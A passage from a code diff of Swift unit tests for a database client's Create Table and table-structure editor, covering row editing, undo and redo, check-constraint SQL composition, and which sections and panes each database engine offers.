+//  CreateTableDraftCommandTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct CreateTableDraftCommandTests {
+    private func makeDraft(database: String = "app", schema: String? = "sales") -> CreateTableDraft {
+        let connection = TestFixtures.makeConnection(database: "postgres", type: .postgresql)
+        let draft = CreateTableDraft(
+            connection: connection,
+            scope: DatabaseScope(connectionId: connection.id, database: database, schema: schema)
+        )
+        draft.resolveForm(from: nil)
+        return draft
+    }
+
+    @Test("Add Row adds a column while nothing is selected")
+    func addRowDefaultsToColumns() {
+        let draft = makeDraft()
+
+        #expect(draft.canAddRow)
+        draft.addRow()
+
+        #expect(draft.changeManager.workingColumns.count == 2)
+        #expect(draft.editor.inspectorTarget == .entity(.columns, draft.changeManager.workingColumns[1].id))
+    }
+
+    @Test("Add Row adds to the section holding the selection")
+    func addRowFollowsTheFocusedSection() {
+        let draft = makeDraft()
+        draft.editor.add(.indexes)
+
+        draft.addRow()
+
+        #expect(draft.changeManager.workingIndexes.count == 2)
+        #expect(draft.changeManager.workingColumns.count == 1)
+        #expect(draft.commandSection == .indexes)
+    }
+
+    @Test("Add Row does nothing while the DDL is on screen")
+    func addRowNeedsTheDefinition() {
+        let draft = makeDraft()
+        draft.pane = .ddl
+
+        draft.addRow()
+
+        #expect(!draft.canAddRow)
+        #expect(draft.changeManager.workingColumns.count == 1)
+    }
+
+    @Test("Remove deletes the selected definition, and Undo brings it back")
+    func removeThenUndo() {
+        let draft = makeDraft()
+        draft.addRow()
+        let added = draft.changeManager.workingColumns[1].id
+
+        #expect(draft.canRemoveRows)
+        draft.removeSelectedRows()
+        #expect(draft.changeManager.workingColumns.map { $0.id }.contains(added) == false)
+
+        #expect(draft.canUndo)
+        draft.undo()
+        #expect(draft.changeManager.workingColumns.map { $0.id }.contains(added))
+        #expect(draft.editor.adapter(for: .columns).visibleRowCount == 2)
+    }
+
+    @Test("Undo takes back an added row and Redo restores it")
+    func undoThenRedo() {
+        let draft = makeDraft()
+        draft.editor.add(.checkConstraints)
+        #expect(draft.changeManager.workingCheckConstraints.count == 1)
+
+        draft.undo()
+        #expect(draft.changeManager.workingCheckConstraints.isEmpty)
+        #expect(draft.editor.adapter(for: .checkConstraints).visibleRowCount == 0)
+
+        #expect(draft.canRedo)
+        draft.redo()
+        #expect(draft.changeManager.workingCheckConstraints.count == 1)
+    }
+
+    @Test("A typed check counts as work worth protecting")
+    func checkConstraintHoldsWork() {
+        let draft = makeDraft()
+        draft.editor.add(.checkConstraints)
+        #expect(!draft.holdsWork)
+
+        draft.changeManager.workingCheckConstraints[0].expression = "total > 0"
+
+        #expect(draft.holdsWork)
+        #expect(draft.hasChanges)
+    }
+
+    @Test("An issue on a row reveals that row in its section")
+    func revealingAnIssueSelectsItsRow() throws {
+        let draft = makeDraft()
+        draft.tableName = "orders"
+        draft.changeManager.workingColumns[0].name = "id"
+        draft.editor.refresh()
+        draft.pane = .ddl
+
+        let issue = try #require(draft.issues.first { $0.row == 0 })
+        draft.reveal(issue)
+
+        #expect(issue.section == .columns)
+        #expect(draft.pane == .definition)
+        #expect(draft.editor.inspectorTarget == .entity(.columns, draft.changeManager.workingColumns[0].id))
+    }
+
+    @Test("A named table with a typed column is ready to create before the composition lands")
+    func readyFromThePlan() {
+        let draft = makeDraft()
+        #expect(!draft.isReadyToCreate)
+
+        draft.tableName = "orders"
+        draft.changeManager.workingColumns[0].name = "id"
+        draft.changeManager.workingColumns[0].dataType = "INT"
+
+        #expect(draft.issues.isEmpty)
+        #expect(draft.isReadyToCreate)
+    }
+
+    // The sidebar can browse another database while the tab creates its table in its own (#10 in the verify lane).
+    @Test("The editor works on the tab's database and schema, never the sidebar's")
+    func editorUsesTheTabScope() {
+        let draft = makeDraft(database: "app", schema: "sales")
+        let scope = DatabaseScope(connectionId: draft.connection.id, database: "app", schema: "sales")
+
+        #expect(draft.editor.context.isCreatingTable)
+        #expect(draft.editor.context.scope == scope)
+        #expect(draft.editor.referenceMenus.schemaName == "sales")
+        #expect(draft.editor.adapter(for: .columns).model.configuration.traits.connectionScope?.database == "app")
+
+        draft.editor.add(.foreignKeys)
+        _ = draft.editor.adapter(for: .foreignKeys).menuOptions(sourceIndex: 0, field: 1)
+
+        #expect(draft.editor.referenceMenus.origin == scope)
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/CreateTableDraftCompositionTests.swift b/apple/TableProTests/Views/Structure/CreateTableDraftCompositionTests.swift
index 42c28febea..1ee6ef2e42 100644
--- a/apple/TableProTests/Views/Structure/CreateTableDraftCompositionTests.swift
+++ b/apple/TableProTests/Views/Structure/CreateTableDraftCompositionTests.swift
@@ -8,14 +8,16 @@ import Testing
 private final class CompositionDriver: PluginDriverStub, @unchecked Sendable {
     private(set) var createTableRequests = 0
     private var schema: String?
+    private let addsCheckConstraints: Bool
 
     var supportsSchemas: Bool { true }
     var supportsTransactions: Bool { false }
     var serverVersion: String? { nil }
     var currentSchema: String? { schema }
 
-    init(currentSchema: String?) {
+    init(currentSchema: String?, addsCheckConstraints: Bool = true) {
         self.schema = currentSchema
+        self.addsCheckConstraints = addsCheckConstraints
     }
 
     func execute(query: String) async throws -> PluginQueryResult {
@@ -37,14 +39,23 @@ private final class CompositionDriver: PluginDriverStub, @unchecked Sendable {
     func objectCommentStatement(name: String, objectType: String, schema: String?, comment: String?) -> String? {
         "COMMENT ON \(objectType) \"\(schema ?? "")\".\"\(name)\" IS '\(comment ?? "")'"
     }
+
+    func generateAddCheckConstraintSQL(table: String, constraint: PluginCheckConstraintDefinition) -> String? {
+        guard addsCheckConstraints else { return nil }
+        return "ALTER TABLE \"\(schema ?? "")\".\"\(table)\" ADD CONSTRAINT \"\(constraint.name)\" CHECK (\(constraint.expression))"
+    }
 }
 
 @Suite("Create Table draft composition", .serialized)
 @MainActor
 struct CreateTableDraftCompositionTests {
-    private static func inject(type: DatabaseType, sessionSchema: String) -> (DatabaseConnection, CompositionDriver) {
+    private static func inject(
+        type: DatabaseType,
+        sessionSchema: String,
+        addsCheckConstraints: Bool = true
+    ) -> (DatabaseConnection, CompositionDriver) {
         let connection = TestFixtures.makeConnection(database: "shop", type: type)
-        let driver = CompositionDriver(currentSchema: sessionSchema)
+        let driver = CompositionDriver(currentSchema: sessionSchema, addsCheckConstraints: addsCheckConstraints)
         var session = ConnectionSession(
             connection: connection,
             driver: PluginDriverAdapter(connection: connection, pluginDriver: driver)
@@ -71,8 +82,12 @@ struct CreateTableDraftCompositionTests {
         DatabaseManager.shared.removeSession(for: connection.id)
     }
 
-    private static func makeDraft(tableName: String) -> CreateTableDraft {
-        let draft = CreateTableDraft()
+    private static func makeDraft(
+        tableName: String,
+        connection: DatabaseConnection,
+        scope: DatabaseScope
+    ) -> CreateTableDraft {
+        let draft = CreateTableDraft(connection: connection, scope: scope)
         draft.tableName = tableName
         var column = EditableColumnDefinition.placeholder()
         column.name = "id"
@@ -87,9 +102,9 @@ struct CreateTableDraftCompositionTests {
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
         _ = try await Self.seedPooledDriver(connection, scope: scope)
-        let draft = Self.makeDraft(tableName: "sales")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
 
-        await draft.recompose(databaseType: .postgresql, scope: scope)
+        await draft.recompose()
 
         #expect(draft.composed?.statements == ["CREATE TABLE \"reporting\".\"sales\" (\"id\" INT)"])
         #expect(draft.compositionFailure == nil)
@@ -101,8 +116,8 @@ struct CreateTableDraftCompositionTests {
         let (connection, _) = Self.inject(type: .pglite, sessionSchema: "reporting")
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
-        let draft = Self.makeDraft(tableName: "sales")
-        await draft.recompose(databaseType: .pglite, scope: scope)
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        await draft.recompose()
         #expect(draft.composed?.tableName == "sales")
 
         let acquired = AsyncGate()
@@ -117,7 +132,7 @@ struct CreateTableDraftCompositionTests {
 
         draft.tableName = "invoices"
         let recomposition = Task { @MainActor in
-            await draft.recompose(databaseType: .pglite, scope: scope)
+            await draft.recompose()
         }
         _ = try? await waitUntil { DatabaseManager.shared.sessionDriverGate.waiterCount(for: connection.id) >= 1 }
 
@@ -136,12 +151,12 @@ struct CreateTableDraftCompositionTests {
         let (connection, _) = Self.inject(type: .pglite, sessionSchema: "reporting")
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
-        let draft = Self.makeDraft(tableName: "sales")
-        await draft.recompose(databaseType: .pglite, scope: scope)
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        await draft.recompose()
 
         DatabaseManager.shared.removeSession(for: connection.id)
         draft.tableName = "invoices"
-        await draft.recompose(databaseType: .pglite, scope: scope)
+        await draft.recompose()
 
         #expect(draft.composed?.statements == ["CREATE TABLE \"reporting\".\"sales\" (\"id\" INT)"])
         #expect(draft.compositionFailure != nil)
@@ -152,31 +167,30 @@ struct CreateTableDraftCompositionTests {
         let (connection, driver) = Self.inject(type: .pglite, sessionSchema: "reporting")
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
-        let draft = Self.makeDraft(tableName: "sales")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
 
-        await draft.recompose(databaseType: .pglite, scope: scope)
-        await draft.recompose(databaseType: .pglite, scope: scope)
+        await draft.recompose()
+        await draft.recompose()
 
         #expect(driver.createTableRequests == 1)
     }
 
     @Test(
         "A grid edit reaches whoever observes the draft, so the preview and Create Table follow it",
-        arguments: [StructureTab.columns, StructureTab.indexes, StructureTab.foreignKeys]
+        arguments: StructureSection.allCases
     )
-    func gridEditPublishesTheDraft(tab: StructureTab) throws {
+    func gridEditPublishesTheDraft(section: StructureSection) throws {
         let connection = TestFixtures.makeConnection(type: .postgresql)
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
-        let draft = Self.makeDraft(tableName: "sales")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
         draft.changeManager.addNewIndex()
         draft.changeManager.addNewForeignKey()
-        let adapter = draft.gridAdapter(for: connection)
-        adapter.select(tab)
-        adapter.refresh()
-        let model = adapter.model
+        draft.changeManager.addNewCheckConstraint()
+        draft.editor.refresh()
+        let model = draft.editor.adapter(for: section).model
         let rowID = try #require(model.rowID(at: 0))
         let name = try #require(model.columns.column(at: 0))
-        let keyBefore = draft.compositionKey(scope: scope)
+        let keyBefore = draft.compositionKey
 
         var published = 0
         let observation = draft.objectWillChange.sink { published += 1 }
@@ -188,7 +202,7 @@ struct CreateTableDraftCompositionTests {
 
         #expect(committed)
         #expect(published > 0)
-        #expect(draft.compositionKey(scope: scope) != keyBefore)
+        #expect(draft.compositionKey != keyBefore)
     }
 
     @Test("A typed comment is composed after the CREATE, on the tab's schema")
@@ -197,10 +211,10 @@ struct CreateTableDraftCompositionTests {
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
         _ = try await Self.seedPooledDriver(connection, scope: scope)
-        let draft = Self.makeDraft(tableName: "sales")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
         draft.tableOptions.comment = "Daily sales"
 
-        await draft.recompose(databaseType: .postgresql, scope: scope)
+        await draft.recompose()
 
         #expect(draft.composed?.statements == [
             "CREATE TABLE \"reporting\".\"sales\" (\"id\" INT)",
@@ -213,27 +227,95 @@ struct CreateTableDraftCompositionTests {
         let (connection, driver) = Self.inject(type: .pglite, sessionSchema: "reporting")
         defer { Self.tearDown(connection) }
         let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
-        let draft = Self.makeDraft(tableName: "sales")
-        await draft.recompose(databaseType: .pglite, scope: scope)
-        let keyBefore = draft.compositionKey(scope: scope)
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        await draft.recompose()
+        let keyBefore = draft.compositionKey
 
         draft.tableOptions.comment = "Daily sales"
-        await draft.recompose(databaseType: .pglite, scope: scope)
+        await draft.recompose()
 
-        #expect(draft.compositionKey(scope: scope) != keyBefore)
+        #expect(draft.compositionKey != keyBefore)
         #expect(driver.createTableRequests == 2)
         #expect(draft.composed?.statements.last == "COMMENT ON TABLE \"reporting\".\"sales\" IS 'Daily sales'")
     }
 
     @Test("A draft with nothing to create names what is missing without a connection")
     func emptyDraftNeedsNoConnection() async {
-        let scope = DatabaseScope(connectionId: UUID(), database: "shop", schema: nil)
-        let draft = CreateTableDraft()
+        let connection = TestFixtures.makeConnection(type: .postgresql)
+        let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: nil)
+        let draft = CreateTableDraft(connection: connection, scope: scope)
 
-        await draft.recompose(databaseType: .postgresql, scope: scope)
+        await draft.recompose()
 
         #expect(draft.composed?.statements.isEmpty == true)
         #expect(draft.composed?.issues.isEmpty == false)
         #expect(draft.compositionFailure == nil)
     }
+
+    private static func check(_ name: String, _ expression: String) -> EditableCheckConstraintDefinition {
+        var constraint = EditableCheckConstraintDefinition.placeholder()
+        constraint.name = name
+        constraint.expression = expression
+        return constraint
+    }
+
+    @Test("A check constraint is added right after the CREATE, on the tab's schema")
+    func checkConstraintIsComposed() async throws {
+        let (connection, _) = Self.inject(type: .postgresql, sessionSchema: "public")
+        defer { Self.tearDown(connection) }
+        let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
+        _ = try await Self.seedPooledDriver(connection, scope: scope)
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        draft.changeManager.workingCheckConstraints = [Self.check("positive_id", "id > 0")]
+        draft.tableOptions.comment = "Daily sales"
+
+        await draft.recompose()
+
+        #expect(draft.composed?.statements == [
+            "CREATE TABLE \"reporting\".\"sales\" (\"id\" INT)",
+            "ALTER TABLE \"reporting\".\"sales\" ADD CONSTRAINT \"positive_id\" CHECK (id > 0)",
+            "COMMENT ON TABLE \"reporting\".\"sales\" IS 'Daily sales'"
+        ])
+        #expect(draft.composed?.issues.isEmpty == true)
+    }
+
+    @Test("A check the driver cannot add is named on its own row, never dropped")
+    func refusedCheckConstraintIsAnIssue() async throws {
+        let (connection, _) = Self.inject(type: .pglite, sessionSchema: "reporting", addsCheckConstraints: false)
+        defer { Self.tearDown(connection) }
+        let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        draft.changeManager.workingCheckConstraints = [
+            EditableCheckConstraintDefinition.placeholder(),
+            Self.check("positive_id", "id > 0")
+        ]
+
+        await draft.recompose()
+
+        let composed = try #require(draft.composed)
+        #expect(composed.statements == ["CREATE TABLE \"reporting\".\"sales\" (\"id\" INT)"])
+        let issue = try #require(composed.issues.first)
+        #expect(issue.section == .checkConstraints)
+        #expect(issue.row == 1)
+        #expect(draft.entityID(for: issue) == draft.changeManager.workingCheckConstraints[1].id)
+    }
+
+    @Test("An index the driver cannot add is named on its working row, past a blank one above it")
+    func refusedIndexNamesItsWorkingRow() async throws {
+        let (connection, _) = Self.inject(type: .pglite, sessionSchema: "reporting")
+        defer { Self.tearDown(connection) }
+        let scope = DatabaseScope(connectionId: connection.id, database: "shop", schema: "reporting")
+        let draft = Self.makeDraft(tableName: "sales", connection: connection, scope: scope)
+        var index = EditableIndexDefinition.placeholder()
+        index.name = "sales_id"
+        index.columns = ["id"]
+        draft.changeManager.workingIndexes = [EditableIndexDefinition.placeholder(), index]
+
+        await draft.recompose()
+
+        let composed = try #require(draft.composed)
+        let issue = try #require(composed.issues.first { $0.section == .indexes })
+        #expect(issue.row == 1)
+        #expect(draft.entityID(for: issue) == index.id)
+    }
 }
diff --git a/apple/TableProTests/Views/Structure/StructureAvailabilityTests.swift b/apple/TableProTests/Views/Structure/StructureAvailabilityTests.swift
new file mode 100644
index 0000000000..55605cb377
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureAvailabilityTests.swift
@@ -0,0 +1,136 @@
+//
+//  StructureAvailabilityTests.swift
+//  TableProTests
+//
+//  Which sections the Definition page lists and which panes the Structure view offers.
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+struct StructureAvailabilityTests {
+    private static let legacyMySQL = StructureServerSupport(
+        unsupportedColumnFields: [],
+        unsupportedIndexTypes: [],
+        checkConstraintRefusal: "Check constraints need MySQL 8.0.16 or later."
+    )
+
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(
+        _ type: DatabaseType,
+        support: StructureServerSupport = .unrestricted
+    ) -> StructureDefinitionEditor {
+        let editor = StructureDefinitionEditor(
+            manager: StructureChangeManager(),
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(type: type),
+                databaseName: "db",
+                schemaName: nil,
+                tableName: "t",
+                objectKind: .table,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
+        )
+        editor.serverSupport = support
+        return editor
+    }
+
+    private func makeSession(_ type: DatabaseType) -> StructureEditingSession {
+        StructureEditingSession(
+            identity: "db.t",
+            connection: TestFixtures.makeConnection(database: "db", type: type),
+            databaseName: "db",
+            schemaName: nil,
+            tableName: "t"
+        )
+    }
+
+    // MARK: - Sections
+
+    @Test("A MySQL server that discards a CHECK clause is not offered the section")
+    func legacyServerHidesConstraints() {
+        let editor = makeEditor(.mysql, support: Self.legacyMySQL)
+        #expect(!editor.offers(.checkConstraints))
+        #expect(editor.sections == [.columns, .indexes, .foreignKeys])
+    }
+
+    @Test("A server that keeps them is offered the section, on every engine that has them")
+    func modernServerShowsConstraints() {
+        #expect(makeEditor(.mysql).offers(.checkConstraints))
+        #expect(makeEditor(.postgresql).offers(.checkConstraints))
+    }
+
+    @Test("An engine with no check constraints at all leaves the section out either way")
+    func engineWithoutChecksStaysHidden() {
+        for support in [StructureServerSupport.unrestricted, Self.legacyMySQL] {
+            #expect(!makeEditor(.redis, support: support).offers(.checkConstraints))
+        }
+    }
+
+    @Test("Foreign Keys follows the engine")
+    func foreignKeysFollowTheEngine() {
+        #expect(makeEditor(.postgresql).offers(.foreignKeys))
+        #expect(!makeEditor(.clickhouse).offers(.foreignKeys))
+    }
+
+    @Test("Columns and Indexes are listed on every engine, first and in that order")
+    func columnsAndIndexesEverywhere() {
+        for type in [DatabaseType.mysql, .postgresql, .sqlite, .redis, .clickhouse] {
+            let sections = makeEditor(type).sections
+            #expect(Array(sections.prefix(2)) == [.columns, .indexes], "\(type.rawValue)")
+        }
+        #expect(makeEditor(.postgresql).sections == [.columns, .indexes, .foreignKeys, .checkConstraints])
+    }
+
+    @Test("A server that withdraws check constraints later takes the section off the page")
+    func withdrawingSupportUpdatesTheSections() {
+        let editor = makeEditor(.mysql)
+        #expect(editor.sections.contains(.checkConstraints))
+
+        editor.serverSupport = Self.legacyMySQL
+
+        #expect(!editor.sections.contains(.checkConstraints))
+    }
+
+    // MARK: - Panes
+
+    @Test("Definition and DDL are offered on every engine, Definition first")
+    func definitionAndDDLEverywhere() {
+        for type in [DatabaseType.mysql, .postgresql, .redis, .clickhouse] {
+            let panes = makeSession(type).availablePanes
+            #expect(panes.first == .definition, "\(type.rawValue)")
+            #expect(panes.contains(.ddl), "\(type.rawValue)")
+        }
+    }
+
+    @Test("Triggers follows the engine")
+    func triggersFollowTheEngine() {
+        #expect(makeSession(.mysql).availablePanes.contains(.triggers))
+        #expect(makeSession(.postgresql).availablePanes.contains(.triggers))
+        #expect(!makeSession(.redis).availablePanes.contains(.triggers))
+    }
+
+    @Test("Parts is ClickHouse only, and the server refusal does not reach it")
+    func partsIsClickHouseOnly() {
+        let clickhouse = makeSession(.clickhouse)
+        #expect(clickhouse.availablePanes.contains(.parts))
+        #expect(!makeSession(.mysql).availablePanes.contains(.parts))
+
+        clickhouse.serverSupport = Self.legacyMySQL
+        #expect(clickhouse.availablePanes.contains(.parts))
+    }
+
+    @Test("Panes keep one order: Definition, Triggers, DDL, Parts")
+    func panesKeepTheirOrder() {
+        #expect(makeSession(.mysql).availablePanes == [.definition, .triggers, .ddl])
+        #expect(makeSession(.clickhouse).availablePanes == [.definition, .ddl, .parts])
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureCodeStandInThemeTests.swift b/apple/TableProTests/Views/Structure/StructureCodeStandInThemeTests.swift
index 82cb841267..05b0702b84 100644
--- a/apple/TableProTests/Views/Structure/StructureCodeStandInThemeTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureCodeStandInThemeTests.swift
@@ -38,7 +38,7 @@ struct StructureCodeStandInThemeTests {
 
     @Test("No DDL available stands in for the DDL view on the editor background")
     func missingDDL() throws {
-        try expectEditorStandIn(StructureDDLUnavailableView())
+        try expectEditorStandIn(StructureDDLStandIn())
     }
 
     @Test("The Create Table SQL Preview placeholder sits on the editor background")
diff --git a/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift b/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
new file mode 100644
index 0000000000..01f56ac935
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
@@ -0,0 +1,298 @@
+//
+//  StructureDefinitionEditorTests.swift
+//  TableProTests
+//
+
+import AppKit
+import Foundation
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+@testable import TablePro
+
+@MainActor
+struct StructureDefinitionEditorTests {
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(type: DatabaseType = .postgresql) -> StructureDefinitionEditor {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "orders",
+            columns: [
+                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "customer_id", dataType: "INT", isNullable: false, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "status", dataType: "TEXT", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            ],
+            indexes: [IndexInfo(name: "orders_pkey", columns: ["id"], isUnique: true, isPrimary: true, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(type: type),
+                databaseName: "shop",
+                schemaName: "public",
+                tableName: "orders",
+                objectKind: .table,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
+    }
+
+    private func id(of name: String, in editor: StructureDefinitionEditor) -> UUID {
+        editor.manager.workingColumns.first { $0.name == name }!.id
+    }
+
+    @Test("Nothing selected puts the table in the inspector")
+    func startsOnTable() {
+        #expect(makeEditor().inspectorTarget == .table)
+    }
+
+    @Test("Selecting a column names it for the inspector")
+    func selectingColumnTargetsIt() {
+        let editor = makeEditor()
+        let status = id(of: "status", in: editor)
+        editor.adapter(for: .columns).select(entity: status)
+
+        #expect(editor.inspectorTarget == .entity(.columns, status))
+        #expect(editor.focusedSection == .columns)
+    }
+
+    @Test("Selecting in one section clears the others")
+    func selectionIsExclusiveAcrossSections() {
+        let editor = makeEditor()
+        editor.adapter(for: .columns).select(entity: id(of: "status", in: editor))
+        let index = editor.manager.workingIndexes[0].id
+        editor.adapter(for: .indexes).select(entity: index)
+
+        #expect(editor.adapter(for: .columns).model.selection.isEmpty)
+        #expect(editor.inspectorTarget == .entity(.indexes, index))
+    }
+
+    @Test("A row keeps its identity when a sort reorders the section")
+    func rowIdentitySurvivesSort() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let status = id(of: "status", in: editor)
+        adapter.select(entity: status)
+
+        adapter.sortDidChange(SortState(columns: [SortColumn(columnIndex: 0, direction: .descending)], source: .user))
+
+        #expect(adapter.selectedEntityIDs == [status])
+        #expect(editor.inspectorTarget == .entity(.columns, status))
+    }
+
+    @Test("Removing a new column above keeps the selection on the same definition")
+    func rowIdentitySurvivesRemovalAbove() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        adapter.addRow()
+        let added = editor.manager.workingColumns.last!.id
+        let moved = editor.manager.workingColumns.removeLast()
+        editor.manager.workingColumns.insert(moved, at: 0)
+        editor.refresh()
+        let status = id(of: "status", in: editor)
+        adapter.select(entity: status)
+
+        editor.manager.deleteColumn(id: added)
+        editor.refresh()
+
+        #expect(adapter.selectedEntityIDs == [status])
+    }
+
+    @Test("Adding a column selects it, so the inspector opens on it")
+    func addingRevealsTheNewRow() {
+        let editor = makeEditor()
+        editor.add(.columns)
+        let added = editor.manager.workingColumns.last!.id
+
+        #expect(editor.inspectorTarget == .entity(.columns, added))
+    }
+
+    @Test("Revealing a definition the filter hides clears the filter and selects it")
+    func revealClearsAHidingFilter() {
+        let editor = makeEditor()
+        editor.searchText = "stat"
+        let id = id(of: "customer_id", in: editor)
+
+        editor.reveal(section: .columns, entity: id)
+
+        #expect(editor.searchText.isEmpty)
+        #expect(editor.inspectorTarget == .entity(.columns, id))
+    }
+
+    @Test("A definition renamed out of the filter stays listed and selected while it is edited")
+    func renamedDefinitionStaysUnderTheFilter() {
+        let editor = makeEditor()
+        editor.searchText = "stat"
+        let status = id(of: "status", in: editor)
+        editor.adapter(for: .columns).select(entity: status)
+
+        editor.typeInspectorField(section: .columns, id: status, field: 0, value: "phase")
+
+        #expect(editor.inspectorTarget == .entity(.columns, status))
+        #expect(editor.adapter(for: .columns).visibleRowCount == 1)
+    }
+
+    @Test("A reload keeps the selected definition, under the name the save gave it")
+    func reloadKeepsTheSelection() async throws {
+        let editor = makeEditor()
+        let status = id(of: "status", in: editor)
+        let index = editor.manager.workingIndexes[0].id
+        editor.adapter(for: .columns).select(entity: status)
+        editor.commitInspectorField(section: .columns, id: status, field: 0, value: "phase")
+        let version = editor.manager.reloadVersion
+
+        editor.manager.loadSchema(
+            tableName: "orders",
+            columns: [
+                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "customer_id", dataType: "INT", isNullable: false, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "phase", dataType: "TEXT", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            ],
+            indexes: [IndexInfo(name: "orders_pkey", columns: ["id"], isUnique: true, isPrimary: true, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        try await waitUntil { editor.manager.reloadVersion > version && editor.adapter(for: .columns).rowCount == 3 }
+
+        #expect(id(of: "phase", in: editor) == status)
+        #expect(editor.manager.workingIndexes[0].id == index)
+        #expect(Set(editor.manager.workingColumns.map(\.id)).count == 3)
+        #expect(editor.inspectorTarget == .entity(.columns, status))
+    }
+
+    @Test("A save's hold closes the grids and its end opens them again")
+    func saveHoldTogglesEditing() async throws {
+        let editor = makeEditor()
+        editor.manager.deleteColumn(id: id(of: "status", in: editor))
+        let hold = try #require(editor.manager.holdForSave())
+        try await waitUntil { !editor.adapter(for: .columns).model.configuration.isEditable }
+
+        _ = editor.manager.releaseHold(hold, written: false)
+
+        try await waitUntil { editor.adapter(for: .columns).model.configuration.isEditable }
+    }
+
+    @Test("A collapsed section stays collapsed for the next table")
+    func collapsedSectionsPersist() {
+        let editor = makeEditor()
+        editor.setExpanded(.indexes, false)
+
+        #expect(!makeEditor().isExpanded(.indexes))
+    }
+
+    @Test("A filter shows a collapsed section's matches")
+    func filterExpandsCollapsedSections() {
+        let editor = makeEditor()
+        editor.setExpanded(.columns, false)
+        editor.searchText = "stat"
+
+        #expect(editor.isExpanded(.columns))
+        #expect(editor.adapter(for: .columns).visibleRowCount == 1)
+    }
+
+    @Test("Counts leave out definitions marked for deletion")
+    func countsSkipDeletions() {
+        let editor = makeEditor()
+        editor.manager.deleteColumn(id: id(of: "status", in: editor))
+
+        #expect(editor.count(of: .columns) == 2)
+    }
+
+    @Test("MySQL tables offer no index condition, since their DDL drops it")
+    func mysqlHasNoIndexCondition() {
+        let editor = makeEditor(type: .mysql)
+        #expect(!editor.adapter(for: .indexes).provider.columns.contains(String(localized: "Condition")))
+        #expect(makeEditor().adapter(for: .indexes).provider.columns.contains(String(localized: "Condition")))
+    }
+
+    @Test("A pick after typing is its own undo step")
+    func pickAfterTypingIsItsOwnStep() {
+        let editor = makeEditor()
+        let status = id(of: "status", in: editor)
+        editor.typeInspectorField(section: .columns, id: status, field: 0, value: "stat")
+        editor.typeInspectorField(section: .columns, id: status, field: 0, value: "state")
+        editor.commitInspectorField(section: .columns, id: status, field: 1, value: "VARCHAR(20)")
+
+        editor.manager.undo()
+        #expect(editor.manager.workingColumns.contains { $0.name == "state" && $0.dataType != "VARCHAR(20)" })
+        editor.manager.undo()
+        #expect(editor.manager.workingColumns.contains { $0.name == "status" })
+    }
+
+    @Test("Nothing can be edited while the table is read again after a save")
+    func awaitingBaselineBlocksEdits() {
+        let editor = makeEditor()
+        editor.isAwaitingBaseline = true
+
+        #expect(!editor.canAdd(.columns))
+        editor.add(.columns)
+        #expect(editor.manager.workingColumns.count == 3)
+        let status = id(of: "status", in: editor)
+        #expect(editor.inspectorForm(for: .columns, id: status)?.isEditable == false)
+    }
+
+    @Test("Several rows selected says how many instead of picking one")
+    func severalSelected() {
